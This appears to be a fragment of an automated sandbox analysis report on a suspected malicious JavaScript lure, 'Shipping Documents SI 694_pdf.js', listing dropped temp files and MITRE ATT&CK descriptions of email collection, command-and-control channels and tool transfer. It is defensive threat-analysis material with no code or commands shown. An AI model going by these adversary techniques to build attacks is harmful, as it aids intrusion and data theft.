C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vi3ritig.bym.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z0adrarq.mty.psm1

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
Shipping Documents SI 694_pdf.js

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre